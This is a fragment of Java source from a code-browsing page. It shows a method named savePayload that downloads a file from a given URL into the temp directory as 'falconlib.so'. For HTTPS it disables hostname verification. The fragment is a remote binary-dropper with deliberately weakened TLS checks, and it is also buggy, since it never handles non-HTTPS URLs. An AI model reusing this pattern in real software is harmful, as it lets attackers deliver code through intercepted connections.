(String strUrl)
| 80 | } |
| 81 | |
| 82 | private static void savePayload(String strUrl) |
| 83 | throws Exception { |
| 84 | URL url = new URL(strUrl); |
| 85 | URLConnection conn = null; |
| 86 | if ("https".equals(url.getProtocol())) { |
| 87 | HttpsURLConnection httpsConn = (HttpsURLConnection) url.openConnection(); |
| 88 | httpsConn.setHostnameVerifier(new HostnameVerifier() { |
| 89 | |
| 90 | @Override |
| 91 | public boolean verify(String hostname, SSLSession session) { |
| 92 | return true; |
| 93 | } |
| 94 | }); |
| 95 | conn = httpsConn; |
| 96 | } |
| 97 | |
| 98 | DataInputStream input = new DataInputStream(conn.getInputStream()); |
| 99 | |
| 100 | |
| 101 | DataOutputStream out = new DataOutputStream(new |
| 102 | FileOutputStream(System.getProperty("java.io.tmpdir") + "/falconlib.so")); |
| 103 | int len; |
| 104 | byte[] buffer = new byte[8 * 1024]; |
| 105 | while ((len = input.read()) != -1) { |
| 106 | out.write(len); |
| 107 | out.flush(); |
| 108 | } |
| 109 | input.close(); |
| 110 | out.close(); |
| 111 | |
| 112 | } |
| 113 | |
| 114 | |
| 115 | public static class CompilationException extends RuntimeException { |
nothing calls this directly
no outgoing calls
no test coverage detected